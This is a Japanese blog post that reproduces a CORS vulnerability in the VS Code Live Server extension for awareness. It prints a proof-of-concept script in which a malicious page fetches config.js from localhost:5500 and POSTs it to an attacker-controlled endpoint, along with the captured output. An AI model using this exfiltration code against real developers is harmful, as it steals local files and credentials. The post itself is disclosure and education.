はじめに
先日、Visual Studio Codeで利用される拡張機能「Live Server」に脆弱性が見つかった。
https://www.security-next.com/181218
内容を見てみるとCORSなど見慣れた単語が出てきており、脆弱性自体も容易に再現することができそうだった。
注意喚起および周辺のセキュリティ知識の整理のためにこの脆弱性を再現してみようと思う。
また余談だが、弊社のプログラミング企画でちょうどLive Serverを利用しており、とてもタイムリーな話題になってしまった。
Live Serverについて
Visual Studio Codeの拡張機能で、ローカルでサーバーを立ち上げ、簡単に静的ファイルをホストすることができ、ローカルでの変更もリアルタイムで反映されるため開発での使い勝手が良い拡張機能である。
弊社ではLive Serverに加えて、Live Shareと呼ばれるリモートで複数のメンバーが同じファイルを編集できる機能と組み合わせて、各人の変更がローカルでリアルタイムに確認できる開発環境を構築していた。
今回の脆弱性
簡潔に言うと、ローカルの情報が抜き取られる可能性がある。
情報を抜き取られる条件は以下の2つを満たすだけ
- Live Serverを起動し、ローカルホストでサーバーが立ち上がっていること(デフォルトはポート5500)
- 悪意のあるウェブサイトにアクセスし、意図しないスクリプトが実行される
抜き取られる可能性のある情報は、立ち上げているサーバーのルート配下のすべてのファイルになる。
VS Code の Live Server 拡張機能に脆弱性が見つかりました。この脆弱性により、認証されていないリモートの攻撃者が開発者のローカルマシンからファイルを盗み出すことが可能です。攻撃者は、Live Server がバックグラウンドで実行されている間に、悪意のあるリンクを被害者に送信するだけで済みます。
なぜこんなことが起きるのか
情報が抜き取られる状況を簡単に図にするとこんな感じ
本来であれば、身元の分からないサイトのスクリプトがローカルで起動されているサーバーにアクセスされることはCORSの観点からあまり考えられない。
CORS(Cross-Origin-Resourse-Sharing)とは、クロスオリジンリソース共有の意で、異なるオリジンから呼ばれる可能性のあるリソースが、意図しないクライアントからのリクエストを弾くために利用する。オリジンとはスキーム、ドメインやポートの組み合わせのことで、これらがすべて一致する場合を同一オリジンという。
https://developer.mozilla.org/ja/docs/Glossary/Origin
今回の脆弱性では、このサーバー側で設定するべきCORSの範囲設定が、Live Serverで立ち上げたローカルホストではすべてを許可する設定になっており、ローカル外のリモートホストからのアクセスまで許可されてしまっていたようだ。
Access-Control-Allow-Origin: *
そのため本来であればローカル環境での開発機能を提供するLive Serverであれば、ローカルホストをオリジンとして許可するのが正しい。
Access-Control-Allow-Origin: http://localhost:5500
検証
- 悪意のあるサイト(Cloudfront + S3)
- S3だけでも静的ホスティング機能でウェブサイトを作成できる
- しかし、今回はローカルホストから呼び出すためCloudfrontでHTTPS化する必要があった
The request client is not a secure context and the resource is in more-private address space loopback.
- ホストするウェブサイトは、ローカルホストにアクセスしてデータを取得し、サーバーに送信するスクリプトを含んだHTMLファイル1つ(send-config.html)
- 抜き取った個人情報を投げるサーバー(API Gateway + Lambda)
- API GatewayとLambdaを組み合わせてただ受け取ったリクエストボディーをS3に吐き出すAPIをデプロイ
今回のシナリオ的にはLive Serverで立ち上げた5500番ポートに、APIキーをべた書きしたconfig.jsがある前提で、これを抜き出す。
/**
* AWS Cognito configuration
*/
const awsConfig = {
// AWS Region for Rekognition and Cognito
region: "ap-northeast-1",
// Cognito Identity Pool ID for anonymous credentials
identityPoolId: "ap-northeast-1:YOUR_IDENTITY_POOL_ID", // Replace with your identity pool ID
};
export default awsConfig;
①Live Serverを起動
ローカルホストの5500番でサーバーが立ち上がっている
②悪意のあるサイト(send-config.html)を閲覧
送信ボタンを押下すると、以下のようなスクリプトが実行され、config.jsの情報がサーバーに送られてしまう。
// ローカルの情報を取得
const response = await fetch('http://localhost:5500/config.js');
// ローカルの情報をサーバーに送信
await fetch(endpointUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
timestamp: new Date().toISOString(),
source: 'config-sender-app',
config: response
})
});
叩かれたAPIがS3にデータを保存しているため、実際に確認するとやはりデータが抜き取られている。
{
"timestamp": "2026-02-24T10:34:30.600Z",
"source": "config-sender-app",
"config": {
"region": "ap-northeast-1",
"identityPoolId": "ap-northeast-1:YOUR_IDENTITY_POOL_ID"
}
}
上記の様に、ユーザー視点だとLive Serverを起動して、特定のウェブサイトを開いただけで、開発環境に置いていたデータが抜き取られてしまう可能性がある。
まとめ
弊社の企画でバリバリ使っていたLive Serverに脆弱性が見つかり、「これよく見たらすぐ再現できるな」と思ったため注意喚起とクロスオリジン周りの再理解のために検証を行ってみました。
筆者程度のエンジニアでも再現可能な盗聴方法であるため、脆弱性が取り除かれるまではLive Serverは使わないほうが良いでしょう。
特に最近はクラウド技術及びAI技術の発達のため、やりたいことがある程度でも明確で、上辺程度でも仕組みの理解があれば今回の検証の様に技術を悪用して脆弱性を突く、のようなことはどんどん容易になっているのでは?と感じました。実際に実装部分はAIにやらしており、1日もかかっていません。
今後も脆弱性の発信には注意しつつ、セキュリティにも目を向けて開発していければと思います。






